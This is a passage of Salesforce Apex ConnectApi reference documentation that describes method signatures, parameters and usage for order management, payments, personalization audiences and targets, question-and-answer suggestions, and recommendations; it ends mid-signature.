adjustSubmit(orderSummaryId, adjustInput)

adjustSubmit(orderSummaryId, adjustInput)
Adjust the price of one or more OrderItemSummaries from an OrderSummary, and create one or two corresponding change orders.

API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.AdjustOrderSummaryOutputRepresentation adjustSubmit(String orderSummaryId, ConnectApi.AdjustOrderItemSummaryInputRepresentation adjustInput)

Parameters

orderSummaryId
Type: String
ID of the OrderSummary.
adjustInput
Type: ConnectApi.AdjustOrderItemSummaryInputRepresentation
A list of price adjustments to OrderItemSummaries that make up a price adjustment to an order.

Return Value
Type: ConnectApi.AdjustOrderSummaryOutputRepresentation on page 2109

Usage
After submitting a price adjustment, process refunds as appropriate:

- If the discount only applied to OrderItemSummaries for which payment has not been captured, it does not require a refund. This situation normally applies to OrderItemSummaries in the US that have not been fulfilled.
- If the discount applied to OrderItemSummaries that have not been fulfilled and for which payment has been captured, process a refund. In this case, pass the totalExcessFundsAmount from the output representation to the ensureRefundsAsync() on page 1852 method.
- If the discount applied to OrderItemSummaries that have been fulfilled, process a refund. Pass the postFulfillmentChangeOrderId from the output representation to the createCreditMemo() on page 1850 method, then pass the CreditMemo to the ensureRefundsAsync() method.
- If the discount applied to both fulfilled and unfulfilled OrderItemSummaries for which payment has been captured, process both refunds. Pass the postFulfillmentChangeOrderId from the output representation to the createCreditMemo() method, then pass the credit memo and the totalExcessFundsAmount from the output representation to the ensureRefundsAsync() method.

SEE ALSO:
createCreditMemo(orderSummaryId, creditMemoInput)
ensureRefundsAsync(orderSummaryId, ensureRefundsInput)
adjustPreview(orderSummaryId, adjustInput)

createCreditMemo(orderSummaryId, creditMemoInput)
Create a credit memo to represent the refund for one or more change orders associated with an OrderSummary.

API Version
48.0

Requires Chatter
No

Signature
public static ConnectApi.CreateCreditMemoOutputRepresentation createCreditMemo(String orderSummaryId, ConnectApi.CreateCreditMemoInputRepresentation creditMemoInput)
Parameters

orderSummaryId
   Type: String
   ID of the OrderSummary.

creditMemoInput
   Type: ConnectApi.CreateCreditMemoInputRepresentation
   The list of change order IDs.

Return Value

Type: ConnectApi.CreateCreditMemoOutputRepresentation

ensureFundsAsync(orderSummaryId, ensureFundsInput)
Ensure funds for an invoice and apply them to it. If needed, capture authorized funds by sending a request to a payment provider. This method inserts a background operation into an asynchronous job queue and returns the ID of that operation so you can track its status. Payment gateway responses appear in the payment gateway log and do not affect the background operation status.

API Version

48.0

Requires Chatter

No

Signature

public static ConnectApi.EnsureFundsAsyncOutputRepresentation ensureFundsAsync(String orderSummaryId, ConnectApi.EnsureFundsAsyncInputRepresentation ensureFundsInput)

Parameters

orderSummaryId
   Type: String
   ID of the OrderSummary.

depositFundsInput
   Type: ConnectApi.EnsureFundsAsyncInputRepresentation
   The ID of the invoice.

Return Value

Type: ConnectApi.EnsureFundsAsyncOutputRepresentation

Usage

This method checks the OrderPaymentSummaries associated with the specified OrderSummary for funds to apply to the invoice balance as follows:
Note: If multiple OrderPaymentSummaries have the same amount, their order of selection is random.

1. Verify that the invoice balance doesn’t exceed the total amount of all the OrderPaymentSummaries.
2. If an OrderPaymentSummary exists with an amount that matches the invoice balance, use it.
3. Otherwise, if any OrderPaymentSummaries exist with an amount greater than the invoice balance, use the one with the smallest amount greater than the invoice balance.
4. Otherwise, select OrderPaymentSummaries in order from largest amount to smallest until their amounts meet or exceed the invoice balance.
5. If any selected funds are authorized, capture them.
6. Apply the selected funds to the invoice.

**ensureRefundsAsync(orderSummaryId, ensureRefundsInput)**

Ensure refunds for a credit memo or excess funds by sending a request to a payment provider. This method inserts a background operation into an asynchronous job queue and returns the ID of that operation so you can track its status. Payment gateway responses appear in the payment gateway log and do not affect the background operation status.

API Version
48.0

Requires Chatter
No

Signature
```java
public static ConnectApi.EnsureRefundsAsyncOutputRepresentation ensureRefundsAsync(String orderSummaryId, ConnectApi.EnsureRefundsAsyncInputRepresentation ensureRefundsInput)
```

Parameters
- **orderSummaryId**
  Type: `String`
  ID of the OrderSummary.
- **ensureRefundsInput**
  Type: `ConnectApi.EnsureRefundsAsyncInputRepresentation`
  Object that wraps the ID of the credit memo and the excess funds amount.

Return Value
Type: `ConnectApi.EnsureRefundsAsyncOutputRepresentation`

**previewCancel(orderSummaryId, changeInput)**

Retrieve the expected change order values for canceling one or more OrderItemSummaries from an OrderSummary, without actually executing the cancel.
API Version
48.0

Requires Chatter
No

Signature
```
public static ConnectApi.PreviewCancelOutputRepresentation previewCancel(String orderSummaryId, ConnectApi.ChangeInputRepresentation changeInput)
```

Parameters

`orderSummaryId`
- Type: String
  - ID of the OrderSummary.

`changeInput`
- Type: ConnectApi.ChangeInputRepresentation
  - A list of changes to OrderItemSummaries that make up an order change, such as a cancel or return.

Return Value

Type: ConnectApi.PreviewCancelOutputRepresentation

SEE ALSO:
- `createCreditMemo(orderSummaryId, creditMemoInput)`
- `ensureRefundsAsync(orderSummaryId, ensureRefundsInput)`
- `submitCancel(orderSummaryId, changeInput)`
- `previewReturn(orderSummaryId, changeInput)`

**previewReturn(orderSummaryId, changeInput)**

Retrieve the expected change order values for returning one or more OrderItemSummaries from an OrderSummary, without actually executing the return.

API Version

48.0

Requires Chatter

No

Signature
```
public static ConnectApi.PreviewReturnOutputRepresentation previewReturn(String orderSummaryId, ConnectApi.ChangeInputRepresentation changeInput)
```
Parameters

`orderSummaryId`
Type: String
ID of the OrderSummary.

`changeInput`
Type: `ConnectApi.ChangeInputRepresentation`
A list of changes to OrderItemSummaries that make up an order change, such as a cancel or return.

Return Value
Type: `ConnectApi.PreviewReturnOutputRepresentation`

SEE ALSO:
- `createCreditMemo(orderSummaryId, creditMemoInput)`
- `ensureRefundsAsync(orderSummaryId, ensureRefundsInput)`
- `submitReturn(orderSummaryId, changeInput)`
- `submitCancel(orderSummaryId, changeInput)`

`submitCancel(orderSummaryId, changeInput)`
Cancel one or more OrderItemSummaries from an OrderSummary, and create a corresponding change order.

API Version
48.0

Requires Chatter
No

Signature

```
public static ConnectApi.SubmitCancelOutputRepresentation submitCancel(String orderSummaryId, ConnectApi.ChangeInputRepresentation changeInput)
```

Parameters

`orderSummaryId`
Type: String
ID of the OrderSummary.

`changeInput`
Type: `ConnectApi.ChangeInputRepresentation`
A list of changes to OrderItemSummaries that make up an order change, such as a cancel or return.
Return Value
Type: ConnectApi.SubmitCancelOutputRepresentation

SEE ALSO:
createCreditMemo(orderSummaryId, creditMemoInput)
ensureRefundsAsync(orderSummaryId, ensureRefundsInput)
previewCancel(orderSummaryId, changeInput)

submitReturn(orderSummaryId, changeInput)
Return one or more OrderItemSummaries from an OrderSummary, and create a corresponding change order.

API Version
48.0

Requires Chatter
No

Signature
public static ConnectApi.SubmitReturnOutputRepresentation submitReturn(String orderSummaryId, ConnectApi.ChangeInputRepresentation changeInput)

Parameters
orderSummaryId
Type: String
ID of the OrderSummary.

changeInput
Type: ConnectApi.ChangeInputRepresentation
A list of changes to OrderItemSummaries that make up an order change, such as a cancel or return.

Return Value
Type: ConnectApi.SubmitReturnOutputRepresentation

Usage
After submitting a return, process a refund. Pass the changeOrderId from the output representation to the createCreditMemo() method, then pass the credit memo to the ensureRefundsAsync() on page 1852 method.

SEE ALSO:
createCreditMemo(orderSummaryId, creditMemoInput)
ensureRefundsAsync(orderSummaryId, ensureRefundsInput)
previewReturn(orderSummaryId, changeInput)
OrderSummaryCreation Class
Create Order Summaries in Order Management.

Namespace
ConnectApi

OrderSummaryCreation Methods
The following are methods for OrderSummaryCreation. All methods are static.

IN THIS SECTION:

createOrderSummary(orderSummaryInput)
Create an OrderSummary based on an order. That order is considered the original order for the OrderSummary. Subsequent change orders that apply to the OrderSummary are also represented as orders. You can specify whether the order is managed in Salesforce Order Management or by an external system. Most Salesforce Order Management APIs can run only on orders that it manages.

createOrderSummary (orderSummaryInput)
Create an OrderSummary based on an order. That order is considered the original order for the OrderSummary. Subsequent change orders that apply to the OrderSummary are also represented as orders. You can specify whether the order is managed in Salesforce Order Management or by an external system. Most Salesforce Order Management APIs can run only on orders that it manages.

API Version
48.0

Requires Chatter
No

Signature
public static ConnectApi.OrderSummaryOutputRepresentation createOrderSummary(ConnectApi.OrderSummaryInputRepresentation orderSummaryInput)

Parameters
orderSummaryInput
Type: ConnectApi.OrderSummaryInputRepresentation
Input object that wraps the ID of the source order.

Return Value
Type: ConnectApi.OrderSummaryOutputRepresentation
Organization Class
Access information about an org.

Namespace
ConnectApi

Organization Methods
The following are methods for Organization. All methods are static.

IN THIS SECTION:
  getSettings()
  Get information about the context user and the org, including which features are enabled.

getSettings()
Get information about the context user and the org, including which features are enabled.

API Version
28.0

Requires Chatter
No

Signature
public static ConnectApi. OrganizationSettings getSettings()

Return Value
Type: ConnectApi.OrganizationSettings

Payments Methods
Authorize a payment, capture an authorized payment, and refund an authorized payment.

Namespace
ConnectApi

Payments Methods
The following are methods for Payments. All methods are static.
IN THIS SECTION:

authorize(authorizePayment)
Authorize a payment.

reverseAuthorization(AuthReversalInput, authorizationId)
Reverses a payment authorization.

capture(AuthCaptureInput, authorizationId)
Capture an authorized payment.

refund(ReferencedRefundInput, paymentId)
Refund an authorized payment.

**authorize (authorizePayment)**

Authorize a payment.

API Version
51.0

Requires Chatter
No

Signature

```
global static ConnectApi.AuthorizationResponse authorize (ConnectApi.AuthorizationRequest authorizePayment)
```

Parameters

**authorizePayment**
Type: `ConnectApi.AuthorizationRequest`  
Represents a payment authorization.

Return Value
Type: `ConnectApi.AuthorizationResponse`

**reverseAuthorization (AuthReversalInput, authorizationId)**

Reverses a payment authorization.

API Version
51.0

Requires Chatter
No
reverseAuthorization(ConnectApi.AuthorizationReversalRequest AuthReversalInput, String authorizationId)

**Parameters**

**AuthReversalInput**
- Type: `ConnectApi.AuthorizationReversalRequest`
  - Input information for the payment authorization reversal.

**authorizationId**
- Type: `String`
  - The ID of the payment authorization to be reversed.

**Return Value**
- Type: `ConnectApi.AuthorizationReversalResponse`

**capture(AuthCaptureInput, authorizationId)**

Capture an authorized payment.

To access Payments methods, you need the following permissions.

- Salesforce Order Management License
- PaymentsAPIUser user permission. This permission is available with the Salesforce Order Management License. Your Salesforce admin assigns it to your profile.

**API Version**

50.0

**Requires Chatter**

No

**Signature**

```
global static ConnectApi.CaptureResponse capture(ConnectApi.CaptureRequest AuthCaptureInput, String authorizationId)
```

**Parameters**

**AuthCaptureInput**
- Type: `ConnectApi.CaptureRequest`
  - A `ConnectApi.CaptureRequest` object with information about the payment capture.

**authorizationId**
- Type: `String`
  - ID of the payment authorization. Required.
Return Value
Type: `ConnectApi.CaptureResponse`

`refund(ReferencedRefundInput, paymentId)`
Refund an authorized payment.

To access Payments methods, you need the following permissions.
- Salesforce Order Management License
- PaymentsAPIUser user permission. This permission is available with the Salesforce Order Management License. Your Salesforce admin assigns it to your profile.

API Version
50.0

Requires Chatter
No

Signature
```java
global static ConnectApi.ReferencedRefundResponse
refund(ConnectApi.ReferencedRefundRequest ReferencedRefundInput, String paymentId)
```

Parameters

`ReferencedRefundInput`
Type: `ConnectApi.ReferencedRefundRequest`
A `ConnectApi.ReferencedRefundRequest` object with information about the refund.

`paymentId`
Type: `String`
ID of the payment to be refunded. Required.

Return Value
Type: `ConnectApi.ReferencedRefundResponse`

**Personalization Class**
Get assigned personalization audiences that match the user context. Create, get, update, and delete an audience. Get personalization targets that match the user context, based on the assigned audiences that include the user. Create and update targets. Get and delete a target.

**Namespace**
`ConnectApi`
Note: Personalization varies what the user can see in the browser but doesn’t secure data in any way. To prevent users accessing sensitive data, use standard Salesforce security features, such as sharing rules and permission sets.

Personalization Methods

The following are methods for Personalization. All methods are static.

IN THIS SECTION:

createAudience(communityId, audience)
Create an audience.

createTargets(communityId, target)
Create targets.

deleteAudience(communityId, audienceId)
Delete an audience.

deleteTarget(communityId, targetId)
Delete a target.

getAudience(communityId, audienceId, includeAudienceCriteria)
Get an audience.

getAudienceBatch(communityId, audienceIds)
Get audience information for a comma-separated list of audience IDs.

getAudiences(communityId, ipAddress, domain, userId, publishStatus, includeAudienceCriteria, targetTypes, recordId)
Get a list of assigned audiences that match the user context and record information.

getAudiences(communityId, ipAddress, domain, userId, publishStatus, includeAudienceCriteria, targetTypes)
Get a list of assigned audiences that match the user context.

getTarget(communityId, targetId)
Get a target.

getTargetBatch(communityId, targetIds)
Get target information for a comma-separated list of target IDs.

getTargets(communityId, ipAddress, domain, userId, publishStatus, recordId, targetTypes, includeAudience, includeAllMatchingTargetsWithinGroup, groupNames)
Get a list of targets that match the user context, based on the assigned audiences that include the user.

updateAudience(communityId, audienceId, audience)
Update an audience.

updateTargets(communityId, target)
Update targets.

createAudience(communityId, audience)
Create an audience.

API Version
48.0
Requires Chatter
No

Signature
```java
public static ConnectApi.Audience createAudience(String communityId,
    ConnectApi.AudienceInput audience)
```

Parameters

- **communityId**
  - Type: `String`
  - ID of the Experience Cloud site.
- **audience**
  - Type: `ConnectApi.AudienceInput`
  - A `ConnectApi.AudienceInput` object that defines the audience.

Return Value
Type: `ConnectApi.Audience`

---

**createTargets(communityId, target)**
Create targets.

API Version
48.0

Requires Chatter
No

Signature
```java
public static ConnectApi.TargetCollection createTargets(String communityId,
    ConnectApi.TargetCollectionInput target)
```

Parameters

- **communityId**
  - Type: `String`
  - ID of the Experience Cloud site.
- **target**
  - Type: `ConnectApi.TargetCollectionInput`
  - A `ConnectApi.TargetCollectionInput` object that defines the targets.
RETURN VALUE
Type: `ConnectApi.TargetCollection`

```java
deleteAudience(communityId, audienceId)
```
Delete an audience.

API Version
48.0

Requires Chatter
No

Signature
```java
public static Void deleteAudience(String communityId, String audienceId)
```

Parameters
```java
communityId
Type: String
ID of the Experience Cloud site.

audienceId
Type: String
ID of the audience.
```

RETURN VALUE
Type: Void

```java
deleteTarget(communityId, targetId)
```
Delete a target.

API Version
48.0

Requires Chatter
No

Signature
```java
public static Void deleteTarget(String communityId, String targetId)
```
Parameters

- **communityId**
  - Type: **String**
  - ID of the Experience Cloud site.

- **targetId**
  - Type: **String**
  - ID of the target.

Return Value

- Type: **Void**

**getAudience(communityId, audienceId, includeAudienceCriteria)**

Get an audience.

API Version

- 48.0

Available to Guest Users

- 48.0

Requires Chatter

- No

Signature

```java
public static ConnectApi.Audience getAudience(String communityId, String audienceId, Boolean includeAudienceCriteria)
```

Parameters

- **communityId**
  - Type: **String**
  - ID of the Experience Cloud site.

- **audienceId**
  - Type: **String**
  - ID of the audience.

- **includeAudienceCriteria**
  - Type: **Boolean**
  - Specifies whether to include audience criteria (true) or not (false). If unspecified, defaults to false.
Return Value
Type: `ConnectApi.Audience`

```java
public static ConnectApi.BatchResult[] getAudienceBatch(String communityId, List<String> audienceIds)
```

**Parameters**

- `communityId`
  Type: `String`
  ID of the Experience Cloud site.

- `audienceIds`
  Type: `List<String>`
  Comma-separated list of audience IDs.

**Return Value**
Type: `ConnectApi.BatchResult[]`

The `ConnectApi.BatchResult.getResult()` method returns a `ConnectApi.Audience` object and errors for audiences that didn’t load.

```java
getAudiences(communityId, ipAddress, domain, userId, publishStatus, includeAudienceCriteria, targetTypes, recordId)
```

Get a list of assigned audiences that match the user context and record information.
public static ConnectApi.AudienceCollection getAudiences(String communityId, String ipAddress, String domain, String userId, ConnectApi.PublishStatus publishStatus, Boolean includeAudienceCriteria, List<String> targetTypes, String recordId)

Parameters

communityId
   Type: String
   Use the ID for an Experience Cloud site, internal, or null.

ipAddress
   Type: String
   IP address of the user. If null, no audiences with location criteria are returned.

domain
   Type: String
   Name of the user’s Salesforce custom domain. If null, no audiences with domain criteria are returned.

userId
   Type: String
   ID of the user. If null, defaults to the ID of the context user.

publishStatus
   Type: ConnectApi.PublishStatus
   Publish status of the audience. Values are:
   • Draft
   • Live
   If null, defaults to Live.

includeAudienceCriteria
   Type: Boolean
   Specifies whether to include audience criteria (true) or not (false). If unspecified, defaults to false.

targetTypes
   Type: List<String>
   Comma-separated list of target types to filter the results. Supported values include:
   • ExperienceVariation (version 48.0 and later)
   • Custom object API names, such as CustomObjectName__c (version 48.0 and later)
   • NavigationLinkSet (version 49.0 and later)
   • Topic (version 49.0 and later)
getAudiences(communityId, ipAddress, domain, userId, publishStatus, includeAudienceCriteria, targetTypes)

Get a list of assigned audiences that match the user context.

API Version
48.0

Available to Guest Users
48.0

Requires Chatter
No

Signature

class ConnectApi

public static ConnectApi.AudienceCollection getAudiences(String communityId, String ipAddress, String domain, String userId, ConnectApi.PublishStatus publishStatus, Boolean includeAudienceCriteria, List<String> targetTypes)

Parameters

communityId
Type: String
ID of the Experience Cloud site.

ipAddress
Type: String
IP address of the user. If null, no audiences with location criteria are returned.
domain
Type: String
Name of the user's Salesforce custom domain. If null, no audiences with domain criteria are returned.

userId
Type: String
ID of the user. If null, defaults to the ID of the context user.

publishStatus
Type: ConnectApi.PublishStatus
Publish status of the audience. Values are:
- Draft
- Live
If null, defaults to Live.

includeAudienceCriteria
Type: Boolean
Specifies whether to include audience criteria (true) or not (false). If unspecified, defaults to false.

targetTypes
Type: List<String>
Comma-separated list of target types to filter the results. Supported values include:
- ExperienceVariation (version 48.0 and later)
- Custom object API names, such as CustomObjectName__c (version 48.0 and later)
- NavigationLinkSet (version 49.0 and later)
- Topic (version 49.0 and later)
- CollaborationGroup (version 49.0 and later)
- KnowledgeArticle (version 49.0 and later)
- ContentDocument (version 49.0 and later)
- ManagedContent (version 49.0 and later)
- Report (version 49.0 and later)
- Dashboard (version 49.0 and later)
If null, all target types are returned.

Return Value
Type: ConnectApi.AudienceCollection

getTarget(communityId, targetId)
Get a target.

API Version
48.0
Available to Guest Users
48.0

Requires Chatter
No

Signature
public static ConnectApi.Target getTarget(String communityId, String targetId)

Parameters
communityId
Type: String
ID of the Experience Cloud site.
targetId
Type: String
ID of the target.

Return Value
Type: ConnectApi.Target

gGetTargetBatch(communityId, targetIds)
Get target information for a comma-separated list of target IDs.

API Version
48.0

Available to Guest Users
48.0

Requires Chatter
No

Signature
public static ConnectApi.BatchResult[] getTargetBatch(String communityId, List<String> targetIds)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

targetIds
Type: List<String>
Comma-separated list of target IDs.

Return Value
Type: ConnectApi.BatchResult
The ConnectApi.BatchResult.getResult() method returns a ConnectApi.Target object and errors for targets that didn’t load.

getTargets(communityId, ipAddress, domain, userId, publishStatus, recordId, targetTypes, includeAudience, includeAllMatchingTargetsWithinGroup, groupNames)
Get a list of targets that match the user context, based on the assigned audiences that include the user.

API Version
48.0

Available to Guest Users
48.0

Requires Chatter
No

Signature
public static ConnectApi.TargetCollection getTargets(String communityId, String ipAddress, String domain, String userId, ConnectApi.PublishStatus publishStatus, String recordId, List<String> targetTypes, Boolean includeAudience, Boolean includeAllMatchingTargetsWithinGroup, List<String> groupNames)

Parameters
communityId
Type: String
ID of the Experience Cloud site.

ipAddress
Type: String
IP address of the user. If null, no audiences with location criteria are returned.

domain
Type: String
Name of the user’s Salesforce custom domain. If null, no audiences with domain criteria are returned.
userId
Type: String
ID of the user. If null, the default is the ID of the context user.

publishStatus
Type: ConnectApi.PublishStatus
Publish status of the target. Values are:
• Draft
• Live

recordId
Type: String
ID of the record, if you want to specify field based criteria in audiences.

targetTypes
Type: List<String>
Comma-separated list of target types to filter the results. Supported values include:
• ExperienceVariation (version 48.0 and later)
• Custom object API names, such as CustomObjectName__c (version 48.0 and later)
• NavigationLinkSet (version 49.0 and later)
• Topic (version 49.0 and later)
• CollaborationGroup (version 49.0 and later)
• KnowledgeArticle (version 49.0 and later)
• ContentDocument (version 49.0 and later)
• ManagedContent (version 49.0 and later)
• Report (version 49.0 and later)
• Dashboard (version 49.0 and later)
If null, all target types are returned.

includeAudience
Type: Boolean
Specifies whether to include the matching audience (true) or not (false). If null, the default is false.

includeAllMatchingTargetsWithinGroup
Type: Boolean
Specifies whether to include all the matching targets within a target group (true) or not (false). If null, the default is false.
If false, the first matching target within each group, based on priority within the group, is returned.

groupNames
Type: List<String>
A comma-separated list of group names. Groups bundle related target and audience pairs.

Return Value
Type: ConnectApi.TargetCollection
**updateAudience(communityId, audienceId, audience)**

Update an audience.

API Version
48.0

Requires Chatter
No

Signature

```java
public static ConnectApi.Audience updateAudience(String communityId, String audienceId, ConnectApi.AudienceInput audience)
```

Parameters

- **communityId**
  - Type: **String**
  - ID of the Experience Cloud site.

- **audienceId**
  - Type: **String**
  - ID of the audience.

- **audience**
  - Type: **ConnectApi.AudienceInput**
  - A ConnectApi.AudienceInput object that defines the updates to the audience.

Return Value

Type: **ConnectApi.Audience**

**updateTargets(communityId, target)**

Update targets.

API Version
48.0

Requires Chatter
No

Signature

```java
public static ConnectApi.TargetCollection updateTargets(String communityId, ConnectApi.TargetCollectionUpdateInput target)
```
Parameters

- **communityId**
  - Type: **String**
  - ID of the Experience Cloud site.

- **target**
  - Type: `ConnectApi.TargetCollectionUpdateInput`
  - A `ConnectApi.TargetCollectionUpdateInput` object that defines the updates for the targets.

Return Value

- Type: `ConnectApi.TargetCollection`

**QuestionAndAnswers Class**

Access question and answers suggestions.

**Namespace**

- `ConnectApi`

**IN THIS SECTION:**

- **QuestionAndAnswers Methods**

**QuestionAndAnswers Methods**

The following are methods for `QuestionAndAnswers`. All methods are static.

**IN THIS SECTION:**

- `getSuggestions(communityId, q, subjectId, includeArticles, maxResults)`
  - Get question and answers suggestions.

- `setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults, result)`
  - Register a `ConnectApi.QuestionAndAnswersSuggestions` object to be returned when `getSuggestions` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

- `updateQuestionAndAnswers(communityId, feedElementId, questionAndAnswersCapability)`
  - Choose or change the best answer for a question.

**getSuggestions(communityId, q, subjectId, includeArticles, maxResults)**

Get question and answers suggestions.

**API Version**

- 32.0
Requires Chatter
No

Signature

```java
public static ConnectApi.QuestionAndAnswersSuggestions getSuggestions(String communityId,
String q, String subjectId, Boolean includeArticles, Integer maxResults)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **q**
  - Type: `String`
  - Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- **subjectId**
  - Type: `String`
  - Specify a subject ID to search only questions on that object. If the ID is a topic or a user, the ID is ignored.

- **includeArticles**
  - Type: `Boolean`
  - Specify `true` to include knowledge articles in the search results. To return only questions, specify `false`.

- **maxResults**
  - Type: `Integer`
  - The maximum number of results to return for each type of item. Possible values are 1–10. The default value is 5.

Return Value

Type: `ConnectApi.QuestionAndAnswersSuggestions`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults, result)`
- Testing ConnectApi Code

```java
setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults, result)
```

Register a `ConnectApi.QuestionAndAnswersSuggestions` object to be returned when `getSuggestions` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
32.0

Signature

```java
public static Void setTestGetSuggestions(String communityId, String q, String subjectId, Boolean includeArticles, Integer maxResults, ConnectApi.QuestionAndAnswersSuggestions result)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **q**
  - Type: String
  - Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- **subjectId**
  - Type: String
  - Specify a subject ID to search only questions on that object. If the ID is a topic or a user, the ID is ignored.

- **includeArticles**
  - Type: Boolean
  - Specify true to include knowledge articles in the search results. To return only questions, specify false.

- **maxResults**
  - Type: Integer
  - The maximum number of results to return for each type of item. Possible values are 1–10. The default value is 5.

- **result**
  - Type: ConnectApi.QuestionAndAnswersSuggestions
  - The object containing test data.

Return Value

Type: Void

SEE ALSO:

- `getSuggestions(communityId, q, subjectId, includeArticles, maxResults)`
- Testing ConnectApi Code

**updateQuestionAndAnswers(communityId, feedElementId, questionAndAnswersCapability)**

Choose or change the best answer for a question.
API Version
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.QuestionAndAnswersCapability updateQuestionAndAnswers(String communityId, String feedElementId, ConnectApi.QuestionAndAnswersCapabilityInput questionAndAnswersCapability)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

questionAndAnswersCapability
Type: ConnectApi.QuestionAndAnswersCapabilityInput
Specify the best answer (comment ID) for the question.

Return Value
Type: ConnectApi.QuestionAndAnswersCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.

Example
ConnectApi.QuestionAndAnswersCapabilityInput qaInput = new ConnectApi.QuestionAndAnswersCapabilityInput();
qaInput.bestAnswerId = '0D7D00000000MAKAY';

ConnectApi.QuestionAndAnswersCapability qa =
ConnectApi.QuestionAndAnswers.updateQuestionAndAnswers(null, '0D5D0000000XZjJ', qaInput);

Recommendations Class
Get and reject Chatter, custom, and static recommendations. Create, get, update, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

For Next Best Action recommendations, see NextBestAction Class.
Namespace

ConnectApi

Recommendations Methods

The following are methods for Recommendations. All methods are static.

IN THIS SECTION:

- createRecommendationAudience(communityId, recommendationAudience)
  Create an audience for a custom recommendation.
- createRecommendationAudience(communityId, name)
  Create an audience for a custom recommendation.
- createRecommendationDefinition(communityId, recommendationDefinition)
  Create a custom recommendation definition.
- createRecommendationDefinition(communityId, name, title, actionUrl, actionUrlName, explanation)
  Create a custom recommendation definition with the specified parameters.
- createScheduledRecommendation(communityId, scheduledRecommendation)
  Create a scheduled custom recommendation.
- createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId, channel)
  Create a scheduled custom recommendation with the specified parameters.
- deleteRecommendationAudience(communityId, recommendationAudienceId)
  Delete a custom recommendation audience.
- deleteRecommendationDefinition(communityId, recommendationDefinitionId)
  Delete a custom recommendation definition.
- deleteRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
  Delete a custom recommendation definition photo.
- deleteScheduledRecommendation(communityId, scheduledRecommendationId, deleteDefinitionIfLast)
  Delete a scheduled custom recommendation.
- getRecommendationAudience(communityId, recommendationAudienceId)
  Get information about a custom recommendation audience.
- getRecommendationAudienceMembership(communityId, recommendationAudienceId)
  Get the members of a custom recommendation audience.
- getRecommendationAudienceMembership(communityId, recommendationAudienceId, pageParam, pageSize)
  Get a page of custom recommendation audience members.
- getRecommendationAudiences(communityId)
  Get custom recommendation audiences.
- getRecommendationAudiences(communityId, pageParam, pageSize)
  Get a page of custom recommendation audiences.
- getRecommendationDefinition(communityId, recommendationDefinitionId)
  Get a custom recommendation definition.
getRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Get a custom recommendation definition photo.

getRecommendationDefinitions(communityId)
Get custom recommendation definitions.

getRecommendationForUser(communityId, userId, action, objectId)
Get the Chatter, custom, or static recommendation for the context user for the specified action and object ID.

getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults)
Get the Chatter recommendations, such as user, group, file, article, record, and topic recommendations for the context user. Get the custom and static recommendations for the context user.

getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults)
Get the Chatter, custom, and static recommendations for the context user for the specified action.

getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel, maxResults)
Get the Chatter, custom, and static recommendations for the context user for the specified action and object category.

getScheduledRecommendation(communityId, scheduledRecommendationId)
Get a scheduled custom recommendation.

getScheduledRecommendations(communityId, channel)
Get scheduled custom recommendations.

rejectRecommendationForUser(communityId, userId, action, objectId)
Reject a Chatter, custom, or static recommendation for the context user for the specified action and object ID.

rejectRecommendationForUser(communityId, userId, action, objectEnum)
Reject a static recommendation for the context user.

updateRecommendationAudience(communityId, recommendationAudienceId, recommendationAudience)
Update a custom recommendation audience.

updateRecommendationDefinition(communityId, recommendationDefinitionId, name, title, actionUrl, actionUrlName, explanation)
Update a custom recommendation definition with the specified parameters.

updateRecommendationDefinition(communityId, recommendationDefinitionId, recommendationDefinition)
Update a custom recommendation definition.

updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileUpload)
Update a custom recommendation definition photo with a file that hasn’t been uploaded.

updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileId, versionNumber)
Update a custom recommendation definition photo with an uploaded file.

updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo)
Update a custom recommendation definition photo with an uploaded file that requires cropping.

updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo, fileUpload)
Update a custom recommendation definition photo with a file that hasn’t been uploaded and requires cropping.

updateScheduledRecommendation(communityId, scheduledRecommendationId, scheduledRecommendation)
Update a scheduled custom recommendation.

updateScheduledRecommendation(communityId, scheduledRecommendationId, rank, enabled, recommendationAudienceId)
Update a scheduled custom recommendation with the specified parameters.
createRecommendationAudience(communityId, recommendationAudience)
Create an audience for a custom recommendation.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationAudience createRecommendationAudience(String communityId, ConnectApi.RecommendationAudienceInput recommendationAudience)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

recommendationAudience
Type: ConnectApi.RecommendationAudienceInput
A ConnectApi.RecommendationAudienceInput object.

Return Value
Type: ConnectApi.RecommendationAudience

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

createRecommendationAudience(communityId, name)
Create an audience for a custom recommendation.

API Version
35.0

Requires Chatter
No
Signature

```java
